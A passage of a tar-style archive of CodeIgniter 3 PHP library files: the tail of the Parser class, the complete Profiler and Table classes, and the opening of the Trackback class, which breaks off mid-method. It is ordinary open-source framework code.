* @param array * @param string * @return string */ protected function _parse_pair($variable, $data, $string) { $replace = array(); preg_match_all( '#'.preg_quote($this->l_delim.$variable.$this->r_delim).'(.+?)'.preg_quote($this->l_delim.'/'.$variable.$this->r_delim).'#s', $string, $matches, PREG_SET_ORDER ); foreach ($matches as $match) { $str = ''; foreach ($data as $row) { $temp = array(); foreach ($row as $key => $val) { if (is_array($val)) { $pair = $this->_parse_pair($key, $val, $match[1]); if ( ! empty($pair)) { $temp = array_merge($temp, $pair); } continue; } $temp[$this->l_delim.$key.$this->r_delim] = $val; } $str .= strtr($match[1], $temp); } $replace[$match[0]] = $str; } return $replace; } } Profiler.php 0000775 00000050444 15060054572 0007057 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Profiler Class * * This class enables you to display benchmark, query, and other data * in order to help with debugging and optimization. * * Note: At some point it would be good to move all the HTML in this class * into a set of template files in order to allow customization. * * @package CodeIgniter * @subpackage Libraries * @category Libraries * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/general/profiling.html */ class CI_Profiler { /** * List of profiler sections available to show * * @var array */ protected $_available_sections = array( 'benchmarks', 'get', 'memory_usage', 'post', 'uri_string', 'controller_info', 'queries', 'http_headers', 'session_data', 'config' ); /** * Number of queries to show before making the additional queries togglable * * @var int */ protected $_query_toggle_count = 25; /** * Reference to the CodeIgniter singleton * * @var object */ protected $CI; // -------------------------------------------------------------------- /** * Class constructor * * Initialize Profiler * * @param array $config Parameters */ public function __construct($config = array()) { $this->CI =& get_instance(); $this->CI->load->language('profiler'); // default all sections to display foreach ($this->_available_sections as $section) { if ( ! isset($config[$section])) { $this->_compile_{$section} = TRUE; } } $this->set_sections($config); log_message('info', 'Profiler Class Initialized'); } // -------------------------------------------------------------------- /** * Set Sections * * Sets the private _compile_* properties to enable/disable Profiler sections * * @param mixed $config * @return void */ public function set_sections($config) { if (isset($config['query_toggle_count'])) { $this->_query_toggle_count = (int) $config['query_toggle_count']; unset($config['query_toggle_count']); } foreach ($config as $method => $enable) { if (in_array($method, $this->_available_sections)) { $this->_compile_{$method} = ($enable !== FALSE); } } } // -------------------------------------------------------------------- /** * Auto Profiler * * This function cycles through the entire array of mark points and * matches any two points that are named identically (ending in "_start" * and "_end" respectively). It then compiles the execution times for * all points and returns it as an array * * @return array */ protected function _compile_benchmarks() { $profile = array(); foreach ($this->CI->benchmark->marker as $key => $val) { // We match the "end" marker so that the list ends // up in the order that it was defined if (preg_match('/(.+?)_end$/i', $key, $match) && isset($this->CI->benchmark->marker[$match[1].'_end'], $this->CI->benchmark->marker[$match[1].'_start'])) { $profile[$match[1]] = $this->CI->benchmark->elapsed_time($match[1].'_start', $key); } } // Build a table containing the profile data. // Note: At some point we should turn this into a template that can // be modified. We also might want to make this data available to be logged $output = "\n\n" .'<fieldset id="ci_profiler_benchmarks" style="border:1px solid #900;padding:6px 10px 10px 10px;margin:20px 0 20px 0;background-color:#eee;">' ."\n" .'<legend style="color:#900;"> '.$this->CI->lang->line('profiler_benchmarks')." </legend>" ."\n\n\n<table style=\"width:100%;\">\n"; foreach ($profile as $key => $val) { $key = ucwords(str_replace(array('_', '-'), ' ', $key)); $output .= '<tr><td style="padding:5px;width:50%;color:#000;font-weight:bold;background-color:#ddd;">' .$key.' </td><td style="padding:5px;width:50%;color:#900;font-weight:normal;background-color:#ddd;">' .$val."</td></tr>\n"; } return $output."</table>\n</fieldset>"; } // -------------------------------------------------------------------- /** * Compile Queries * * @return string */ protected function _compile_queries() { $dbs = array(); // Let's determine which databases are currently connected to foreach (get_object_vars($this->CI) as $name => $cobject) { if (is_object($cobject)) { if ($cobject instanceof CI_DB) { $dbs[get_class($this->CI).':$'.$name] = $cobject; } elseif ($cobject instanceof CI_Model) { foreach (get_object_vars($cobject) as $mname => $mobject) { if ($mobject instanceof CI_DB) { $dbs[get_class($cobject).':$'.$mname] = $mobject; } } } } } if (count($dbs) === 0) { return "\n\n" .'<fieldset id="ci_profiler_queries" style="border:1px solid #0000FF;padding:6px 10px 10px 10px;margin:20px 0 20px 0;background-color:#eee;">' ."\n" .'<legend style="color:#0000FF;"> '.$this->CI->lang->line('profiler_queries').' </legend>' ."\n\n\n<table style=\"border:none; width:100%;\">\n" .'<tr><td style="width:100%;color:#0000FF;font-weight:normal;background-color:#eee;padding:5px;">' .$this->CI->lang->line('profiler_no_db') ."</td></tr>\n</table>\n</fieldset>"; } // Load the text helper so we can highlight the SQL $this->CI->load->helper('text'); // Key words we want bolded $highlight = array('SELECT', 'DISTINCT', 'FROM', 'WHERE', 'AND', 'LEFT JOIN', 'ORDER BY', 'GROUP BY', 'LIMIT', 'INSERT', 'INTO', 'VALUES', 'UPDATE', 'OR ', 'HAVING', 'OFFSET', 'NOT IN', 'IN', 'LIKE', 'NOT LIKE', 'COUNT', 'MAX', 'MIN', 'ON', 'AS', 'AVG', 'SUM', '(', ')'); $output = "\n\n"; $count = 0; foreach ($dbs as $name => $db) { $hide_queries = (count($db->queries) > $this->_query_toggle_count) ? ' display:none' : ''; $total_time = number_format(array_sum($db->query_times), 4).' '.$this->CI->lang->line('profiler_seconds'); $show_hide_js = '(<span style="cursor: pointer;" onclick="var s=document.getElementById(\'ci_profiler_queries_db_'.$count.'\').style;s.display=s.display==\'none\'?\'\':\'none\';this.innerHTML=this.innerHTML==\''.$this->CI->lang->line('profiler_section_hide').'\'?\''.$this->CI->lang->line('profiler_section_show').'\':\''.$this->CI->lang->line('profiler_section_hide').'\';">'.$this->CI->lang->line('profiler_section_hide').'</span>)'; if ($hide_queries !== '') { $show_hide_js = '(<span style="cursor: pointer;" onclick="var s=document.getElementById(\'ci_profiler_queries_db_'.$count.'\').style;s.display=s.display==\'none\'?\'\':\'none\';this.innerHTML=this.innerHTML==\''.$this->CI->lang->line('profiler_section_show').'\'?\''.$this->CI->lang->line('profiler_section_hide').'\':\''.$this->CI->lang->line('profiler_section_show').'\';">'.$this->CI->lang->line('profiler_section_show').'</span>)'; } $output .= '<fieldset style="border:1px solid #0000FF;padding:6px 10px 10px 10px;margin:20px 0 20px 0;background-color:#eee;">' ."\n" .'<legend style="color:#0000FF;"> '.$this->CI->lang->line('profiler_database') .': '.$db->database.' ('.$name.') '.$this->CI->lang->line('profiler_queries') .': '.count($db->queries).' ('.$total_time.') '.$show_hide_js."</legend>\n\n\n" .'<table style="width:100%;'.$hide_queries.'" id="ci_profiler_queries_db_'.$count."\">\n"; if (count($db->queries) === 0) { $output .= '<tr><td style="width:100%;color:#0000FF;font-weight:normal;background-color:#eee;padding:5px;">' .$this->CI->lang->line('profiler_no_queries')."</td></tr>\n"; } else { foreach ($db->queries as $key => $val) { $time = number_format($db->query_times[$key], 4); $val = highlight_code($val); foreach ($highlight as $bold) { $val = str_replace($bold, '<strong>'.$bold.'</strong>', $val); } $output .= '<tr><td style="padding:5px;vertical-align:top;width:1%;color:#900;font-weight:normal;background-color:#ddd;">' .$time.' </td><td style="padding:5px;color:#000;font-weight:normal;background-color:#ddd;">' .$val."</td></tr>\n"; } } $output .= "</table>\n</fieldset>"; $count++; } return $output; } // -------------------------------------------------------------------- /** * Compile $_GET Data * * @return string */ protected function _compile_get() { $output = "\n\n" .'<fieldset id="ci_profiler_get" style="border:1px solid #cd6e00;padding:6px 10px 10px 10px;margin:20px 0 20px 0;background-color:#eee;">' ."\n" .'<legend style="color:#cd6e00;"> '.$this->CI->lang->line('profiler_get_data')." </legend>\n"; if (count($_GET) === 0) { $output .= '<div style="color:#cd6e00;font-weight:normal;padding:4px 0 4px 0;">'.$this->CI->lang->line('profiler_no_get').'</div>'; } else { $output .= "\n\n<table style=\"width:100%;border:none;\">\n"; foreach ($_GET as $key => $val) { is_int($key) OR $key = "'".htmlspecialchars($key, ENT_QUOTES, config_item('charset'))."'"; $val = (is_array($val) OR is_object($val)) ? '<pre>'.htmlspecialchars(print_r($val, TRUE), ENT_QUOTES, config_item('charset')) : htmlspecialchars($val, ENT_QUOTES, config_item('charset')); $output .= '<tr><td style="width:50%;color:#000;background-color:#ddd;padding:5px;">$_GET[' .$key.'] </td><td style="width:50%;padding:5px;color:#cd6e00;font-weight:normal;background-color:#ddd;">' .$val."</td></tr>\n"; } $output .= "</table>\n"; } return $output.'</fieldset>'; } // -------------------------------------------------------------------- /** * Compile $_POST Data * * @return string */ protected function _compile_post() { $output = "\n\n" .'<fieldset id="ci_profiler_post" style="border:1px solid #009900;padding:6px 10px 10px 10px;margin:20px 0 20px 0;background-color:#eee;">' ."\n" .'<legend style="color:#009900;"> '.$this->CI->lang->line('profiler_post_data')." </legend>\n"; if (count($_POST) === 0 && count($_FILES) === 0) { $output .= '<div style="color:#009900;font-weight:normal;padding:4px 0 4px 0;">'.$this->CI->lang->line('profiler_no_post').'</div>'; } else { $output .= "\n\n<table style=\"width:100%;\">\n"; foreach ($_POST as $key => $val) { is_int($key) OR $key = "'".htmlspecialchars($key, ENT_QUOTES, config_item('charset'))."'"; $val = (is_array($val) OR is_object($val)) ? '<pre>'.htmlspecialchars(print_r($val, TRUE), ENT_QUOTES, config_item('charset')) : htmlspecialchars($val, ENT_QUOTES, config_item('charset')); $output .= '<tr><td style="width:50%;padding:5px;color:#000;background-color:#ddd;">$_POST[' .$key.'] </td><td style="width:50%;padding:5px;color:#009900;font-weight:normal;background-color:#ddd;">' .$val."</td></tr>\n"; } foreach ($_FILES as $key => $val) { is_int($key) OR $key = "'".htmlspecialchars($key, ENT_QUOTES, config_item('charset'))."'"; $val = (is_array($val) OR is_object($val)) ? '<pre>'.htmlspecialchars(print_r($val, TRUE), ENT_QUOTES, config_item('charset')) : htmlspecialchars($val, ENT_QUOTES, config_item('charset')); $output .= '<tr><td style="width:50%;padding:5px;color:#000;background-color:#ddd;">$_FILES[' .$key.'] </td><td style="width:50%;padding:5px;color:#009900;font-weight:normal;background-color:#ddd;">' .$val."</td></tr>\n"; } $output .= "</table>\n"; } return $output.'</fieldset>'; } // -------------------------------------------------------------------- /** * Show query string * * @return string */ protected function _compile_uri_string() { return "\n\n" .'<fieldset id="ci_profiler_uri_string" style="border:1px solid #000;padding:6px 10px 10px 10px;margin:20px 0 20px 0;background-color:#eee;">' ."\n" .'<legend style="color:#000;"> '.$this->CI->lang->line('profiler_uri_string')." </legend>\n" .'<div style="color:#000;font-weight:normal;padding:4px 0 4px 0;">' .($this->CI->uri->uri_string === '' ? $this->CI->lang->line('profiler_no_uri') : $this->CI->uri->uri_string) .'</div></fieldset>'; } // -------------------------------------------------------------------- /** * Show the controller and function that were called * * @return string */ protected function _compile_controller_info() { return "\n\n" .'<fieldset id="ci_profiler_controller_info" style="border:1px solid #995300;padding:6px 10px 10px 10px;margin:20px 0 20px 0;background-color:#eee;">' ."\n" .'<legend style="color:#995300;"> '.$this->CI->lang->line('profiler_controller_info')." </legend>\n" .'<div style="color:#995300;font-weight:normal;padding:4px 0 4px 0;">'.$this->CI->router->class.'/'.$this->CI->router->method .'</div></fieldset>'; } // -------------------------------------------------------------------- /** * Compile memory usage * * Display total used memory * * @return string */ protected function _compile_memory_usage() { return "\n\n" .'<fieldset id="ci_profiler_memory_usage" style="border:1px solid #5a0099;padding:6px 10px 10px 10px;margin:20px 0 20px 0;background-color:#eee;">' ."\n" .'<legend style="color:#5a0099;"> '.$this->CI->lang->line('profiler_memory_usage')." </legend>\n" .'<div style="color:#5a0099;font-weight:normal;padding:4px 0 4px 0;">' .(($usage = memory_get_usage()) != '' ? number_format($usage).' bytes' : $this->CI->lang->line('profiler_no_memory')) .'</div></fieldset>'; } // -------------------------------------------------------------------- /** * Compile header information * * Lists HTTP headers * * @return string */ protected function _compile_http_headers() { $output = "\n\n" .'<fieldset id="ci_profiler_http_headers" style="border:1px solid #000;padding:6px 10px 10px 10px;margin:20px 0 20px 0;background-color:#eee;">' ."\n" .'<legend style="color:#000;"> '.$this->CI->lang->line('profiler_headers') .' (<span style="cursor: pointer;" onclick="var s=document.getElementById(\'ci_profiler_httpheaders_table\').style;s.display=s.display==\'none\'?\'\':\'none\';this.innerHTML=this.innerHTML==\''.$this->CI->lang->line('profiler_section_show').'\'?\''.$this->CI->lang->line('profiler_section_hide').'\':\''.$this->CI->lang->line('profiler_section_show').'\';">'.$this->CI->lang->line('profiler_section_show')."</span>)</legend>\n\n\n" .'<table style="width:100%;display:none;" id="ci_profiler_httpheaders_table">'."\n"; foreach (array('HTTP_ACCEPT', 'HTTP_USER_AGENT', 'HTTP_CONNECTION', 'SERVER_PORT', 'SERVER_NAME', 'REMOTE_ADDR', 'SERVER_SOFTWARE', 'HTTP_ACCEPT_LANGUAGE', 'SCRIPT_NAME', 'REQUEST_METHOD',' HTTP_HOST', 'REMOTE_HOST', 'CONTENT_TYPE', 'SERVER_PROTOCOL', 'QUERY_STRING', 'HTTP_ACCEPT_ENCODING', 'HTTP_X_FORWARDED_FOR', 'HTTP_DNT') as $header) { $val = isset($_SERVER[$header]) ? htmlspecialchars($_SERVER[$header], ENT_QUOTES, config_item('charset')) : ''; $output .= '<tr><td style="vertical-align:top;width:50%;padding:5px;color:#900;background-color:#ddd;">' .$header.' </td><td style="width:50%;padding:5px;color:#000;background-color:#ddd;">'.$val."</td></tr>\n"; } return $output."</table>\n</fieldset>"; } // -------------------------------------------------------------------- /** * Compile config information * * Lists developer config variables * * @return string */ protected function _compile_config() { $output = "\n\n" .'<fieldset id="ci_profiler_config" style="border:1px solid #000;padding:6px 10px 10px 10px;margin:20px 0 20px 0;background-color:#eee;">' ."\n" .'<legend style="color:#000;"> '.$this->CI->lang->line('profiler_config').' (<span style="cursor: pointer;" onclick="var s=document.getElementById(\'ci_profiler_config_table\').style;s.display=s.display==\'none\'?\'\':\'none\';this.innerHTML=this.innerHTML==\''.$this->CI->lang->line('profiler_section_show').'\'?\''.$this->CI->lang->line('profiler_section_hide').'\':\''.$this->CI->lang->line('profiler_section_show').'\';">'.$this->CI->lang->line('profiler_section_show')."</span>)</legend>\n\n\n" .'<table style="width:100%;display:none;" id="ci_profiler_config_table">'."\n"; foreach ($this->CI->config->config as $config => $val) { if (is_array($val) OR is_object($val)) { $val = print_r($val, TRUE); } $output .= '<tr><td style="padding:5px;vertical-align:top;color:#900;background-color:#ddd;">' .$config.' </td><td style="padding:5px;color:#000;background-color:#ddd;">'.htmlspecialchars($val)."</td></tr>\n"; } return $output."</table>\n</fieldset>"; } // -------------------------------------------------------------------- /** * Compile session userdata * * @return string */ protected function _compile_session_data() { if ( ! isset($this->CI->session)) { return; } $output = '<fieldset id="ci_profiler_csession" style="border:1px solid #000;padding:6px 10px 10px 10px;margin:20px 0 20px 0;background-color:#eee;">' .'<legend style="color:#000;"> '.$this->CI->lang->line('profiler_session_data').' (<span style="cursor: pointer;" onclick="var s=document.getElementById(\'ci_profiler_session_data\').style;s.display=s.display==\'none\'?\'\':\'none\';this.innerHTML=this.innerHTML==\''.$this->CI->lang->line('profiler_section_show').'\'?\''.$this->CI->lang->line('profiler_section_hide').'\':\''.$this->CI->lang->line('profiler_section_show').'\';">'.$this->CI->lang->line('profiler_section_show').'</span>)</legend>' .'<table style="width:100%;display:none;" id="ci_profiler_session_data">'; foreach ($this->CI->session->userdata() as $key => $val) { if (is_array($val) OR is_object($val)) { $val = print_r($val, TRUE); } $output .= '<tr><td style="padding:5px;vertical-align:top;color:#900;background-color:#ddd;">' .$key.' </td><td style="padding:5px;color:#000;background-color:#ddd;">'.htmlspecialchars($val)."</td></tr>\n"; } return $output."</table>\n</fieldset>"; } // -------------------------------------------------------------------- /** * Run the Profiler * * @return string */ public function run() { $output = '<div id="codeigniter_profiler" style="clear:both;background-color:#fff;padding:10px;">'; $fields_displayed = 0; foreach ($this->_available_sections as $section) { if ($this->_compile_{$section} !== FALSE) { $func = '_compile_'.$section; $output .= $this->{$func}(); $fields_displayed++; } } if ($fields_displayed === 0) { $output .= '<p style="border:1px solid #5a0099;padding:10px;margin:20px 0;background-color:#eee;">' .$this->CI->lang->line('profiler_no_profiles').'</p>'; } return $output.'</div>'; } } Table.php 0000775 00000027741 15060054572 0006330 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.1 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * HTML Table Generating Class * * Lets you create tables manually or from database result objects, or arrays. * * @package CodeIgniter * @subpackage Libraries * @category HTML Tables * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/table.html */ class CI_Table { /** * Data for table rows * * @var array */ public $rows = array(); /** * Data for table heading * * @var array */ public $heading = array(); /** * Whether or not to automatically create the table header * * @var bool */ public $auto_heading = TRUE; /** * Table caption * * @var string */ public $caption = NULL; /** * Table layout template * * @var array */ public $template = NULL; /** * Newline setting * * @var string */ public $newline = "\n"; /** * Contents of empty cells * * @var string */ public $empty_cells = ''; /** * Callback for custom table layout * * @var function */ public $function = NULL; /** * Set the template from the table config file if it exists * * @param array $config (default: array()) * @return void */ public function __construct($config = array()) { // initialize config foreach ($config as $key => $val) { $this->template[$key] = $val; } log_message('info', 'Table Class Initialized'); } // -------------------------------------------------------------------- /** * Set the template * * @param array $template * @return bool */ public function set_template($template) { if ( ! is_array($template)) { return FALSE; } $this->template = $template; return TRUE; } // -------------------------------------------------------------------- /** * Set the table heading * * Can be passed as an array or discreet params * * @param mixed * @return CI_Table */ public function set_heading($args = array()) { $this->heading = $this->_prep_args(func_get_args()); return $this; } // -------------------------------------------------------------------- /** * Set columns. Takes a one-dimensional array as input and creates * a multi-dimensional array with a depth equal to the number of * columns. This allows a single array with many elements to be * displayed in a table that has a fixed column count. * * @param array $array * @param int $col_limit * @return array */ public function make_columns($array = array(), $col_limit = 0) { if ( ! is_array($array) OR count($array) === 0 OR ! is_int($col_limit)) { return FALSE; } // Turn off the auto-heading feature since it's doubtful we // will want headings from a one-dimensional array $this->auto_heading = FALSE; if ($col_limit === 0) { return $array; } $new = array(); do { $temp = array_splice($array, 0, $col_limit); if (count($temp) < $col_limit) { for ($i = count($temp); $i < $col_limit; $i++) { $temp[] = ' '; } } $new[] = $temp; } while (count($array) > 0); return $new; } // -------------------------------------------------------------------- /** * Set "empty" cells * * Can be passed as an array or discreet params * * @param mixed $value * @return CI_Table */ public function set_empty($value) { $this->empty_cells = $value; return $this; } // -------------------------------------------------------------------- /** * Add a table row * * Can be passed as an array or discreet params * * @param mixed * @return CI_Table */ public function add_row($args = array()) { $this->rows[] = $this->_prep_args(func_get_args()); return $this; } // -------------------------------------------------------------------- /** * Prep Args * * Ensures a standard associative array format for all cell data * * @param array * @return array */ protected function _prep_args($args) { // If there is no $args[0], skip this and treat as an associative array // This can happen if there is only a single key, for example this is passed to table->generate // array(array('foo'=>'bar')) if (isset($args[0]) && count($args) === 1 && is_array($args[0]) && ! isset($args[0]['data'])) { $args = $args[0]; } foreach ($args as $key => $val) { is_array($val) OR $args[$key] = array('data' => $val); } return $args; } // -------------------------------------------------------------------- /** * Add a table caption * * @param string $caption * @return CI_Table */ public function set_caption($caption) { $this->caption = $caption; return $this; } // -------------------------------------------------------------------- /** * Generate the table * * @param mixed $table_data * @return string */ public function generate($table_data = NULL) { // The table data can optionally be passed to this function // either as a database result object or an array if ( ! empty($table_data)) { if ($table_data instanceof CI_DB_result) { $this->_set_from_db_result($table_data); } elseif (is_array($table_data)) { $this->_set_from_array($table_data); } } // Is there anything to display? No? Smite them! if (empty($this->heading) && empty($this->rows)) { return 'Undefined table data'; } // Compile and validate the template date $this->_compile_template(); // Validate a possibly existing custom cell manipulation function if (isset($this->function) && ! is_callable($this->function)) { $this->function = NULL; } // Build the table! $out = $this->template['table_open'].$this->newline; // Add any caption here if ($this->caption) { $out .= '<caption>'.$this->caption.'</caption>'.$this->newline; } // Is there a table heading to display? if ( ! empty($this->heading)) { $out .= $this->template['thead_open'].$this->newline.$this->template['heading_row_start'].$this->newline; foreach ($this->heading as $heading) { $temp = $this->template['heading_cell_start']; foreach ($heading as $key => $val) { if ($key !== 'data') { $temp = str_replace('<th', '<th '.$key.'="'.$val.'"', $temp); } } $out .= $temp.(isset($heading['data']) ? $heading['data'] : '').$this->template['heading_cell_end']; } $out .= $this->template['heading_row_end'].$this->newline.$this->template['thead_close'].$this->newline; } // Build the table rows if ( ! empty($this->rows)) { $out .= $this->template['tbody_open'].$this->newline; $i = 1; foreach ($this->rows as $row) { if ( ! is_array($row)) { break; } // We use modulus to alternate the row colors $name = fmod($i++, 2) ? '' : 'alt_'; $out .= $this->template['row_'.$name.'start'].$this->newline; foreach ($row as $cell) { $temp = $this->template['cell_'.$name.'start']; foreach ($cell as $key => $val) { if ($key !== 'data') { $temp = str_replace('<td', '<td '.$key.'="'.$val.'"', $temp); } } $cell = isset($cell['data']) ? $cell['data'] : ''; $out .= $temp; if ($cell === '' OR $cell === NULL) { $out .= $this->empty_cells; } elseif (isset($this->function)) { $out .= call_user_func($this->function, $cell); } else { $out .= $cell; } $out .= $this->template['cell_'.$name.'end']; } $out .= $this->template['row_'.$name.'end'].$this->newline; } $out .= $this->template['tbody_close'].$this->newline; } $out .= $this->template['table_close']; // Clear table class properties before generating the table $this->clear(); return $out; } // -------------------------------------------------------------------- /** * Clears the table arrays. Useful if multiple tables are being generated * * @return CI_Table */ public function clear() { $this->rows = array(); $this->heading = array(); $this->auto_heading = TRUE; return $this; } // -------------------------------------------------------------------- /** * Set table data from a database result object * * @param CI_DB_result $db_result Database result object * @return void */ protected function _set_from_db_result($object) { // First generate the headings from the table column names if ($this->auto_heading === TRUE && empty($this->heading)) { $this->heading = $this->_prep_args($object->list_fields()); } foreach ($object->result_array() as $row) { $this->rows[] = $this->_prep_args($row); } } // -------------------------------------------------------------------- /** * Set table data from an array * * @param array $data * @return void */ protected function _set_from_array($data) { if ($this->auto_heading === TRUE && empty($this->heading)) { $this->heading = $this->_prep_args(array_shift($data)); } foreach ($data as &$row) { $this->rows[] = $this->_prep_args($row); } } // -------------------------------------------------------------------- /** * Compile Template * * @return void */ protected function _compile_template() { if ($this->template === NULL) { $this->template = $this->_default_template(); return; } $this->temp = $this->_default_template(); foreach (array('table_open', 'thead_open', 'thead_close', 'heading_row_start', 'heading_row_end', 'heading_cell_start', 'heading_cell_end', 'tbody_open', 'tbody_close', 'row_start', 'row_end', 'cell_start', 'cell_end', 'row_alt_start', 'row_alt_end', 'cell_alt_start', 'cell_alt_end', 'table_close') as $val) { if ( ! isset($this->template[$val])) { $this->template[$val] = $this->temp[$val]; } } } // -------------------------------------------------------------------- /** * Default Template * * @return array */ protected function _default_template() { return array( 'table_open' => '<table border="0" cellpadding="4" cellspacing="0">', 'thead_open' => '<thead>', 'thead_close' => '</thead>', 'heading_row_start' => '<tr>', 'heading_row_end' => '</tr>', 'heading_cell_start' => '<th>', 'heading_cell_end' => '</th>', 'tbody_open' => '<tbody>', 'tbody_close' => '</tbody>', 'row_start' => '<tr>', 'row_end' => '</tr>', 'cell_start' => '<td>', 'cell_end' => '</td>', 'row_alt_start' => '<tr>', 'row_alt_end' => '</tr>', 'cell_alt_start' => '<td>', 'cell_alt_end' => '</td>', 'table_close' => '</table>' ); } } Trackback.php 0000775 00000031174 15060054572 0007161 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Trackback Class * * Trackback Sending/Receiving Class * * @package CodeIgniter * @subpackage Libraries * @category Trackbacks * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/trackback.html */ class CI_Trackback { /** * Character set * * @var string */ public $charset = 'UTF-8'; /** * Trackback data * * @var array */ public $data = array( 'url' => '', 'title' => '', 'excerpt' => '', 'blog_name' => '', 'charset' => '' ); /** * Convert ASCII flag * * Whether to convert high-ASCII and MS Word * characters to HTML entities. * * @var bool */ public $convert_ascii = TRUE; /** * Response * * @var string */ public $response = ''; /** * Error messages list * * @var string[] */ public $error_msg = array(); // -------------------------------------------------------------------- /** * Constructor * * @return void */ public function __construct() { log_message('info', 'Trackback Class Initialized'); } // -------------------------------------------------------------------- /** * Send Trackback * * @param array * @return bool */ public function send($tb_data) { if ( ! is_array($tb_data)) { $this->set_error('The send() method must be passed an array'); return FALSE; } // Pre-process the Trackback Data foreach (array('url', 'title', 'excerpt', 'blog_name', 'ping_url') as $item) { if ( ! isset($tb_data[$item])) { $this->set_error('Required item missing: '.$item); return FALSE; } switch ($item) { case 'ping_url': $$item = $this->extract_urls($tb_data[$item]); break; case 'excerpt': $$item = $this->limit_characters($this->convert_xml(strip_tags(stripslashes($tb_data[$item])))); break; case 'url': $$item = str_replace('-', '-', $this->convert_xml(strip_tags(stripslashes($tb_data[$item])))); break; default: $$item = $this->convert_xml(strip_tags(stripslashes($tb_data[$item]))); break; } // Convert High ASCII Characters if ($this->convert_ascii === TRUE && in_array($item, array('excerpt', 'title', 'blog_name'), TRUE)) { $$item = $this->convert_ascii($$item); } } // Build the Trackback data string $charset = isset($tb_data['charset']) ? $tb_data['charset'] : $this->charset; $data = 'url='.rawurlencode($url).'&title='.rawurlencode($title).'&blog_name='.rawurlencode($blog_name) .'&excerpt='.rawurlencode($excerpt).'&charset='.rawurlencode($charset); // Send Trackback(s) $return = TRUE; if (count($ping_url) > 0) { foreach ($ping_url as $url) { if ($this->process($url, $data) === FALSE) { $return = FALSE; } } } return $return; } // -------------------------------------------------------------------- /** * Receive Trackback Data * * This function simply validates the incoming TB data. * It returns FALSE on failure and TRUE on success. * If the data is valid it is set to the $this->data array * so that it can be inserted into a database. * * @return bool */ public function receive() { foreach (array('url', 'title', 'blog_name', 'excerpt') as $val) { if (empty($_POST[$val])) { 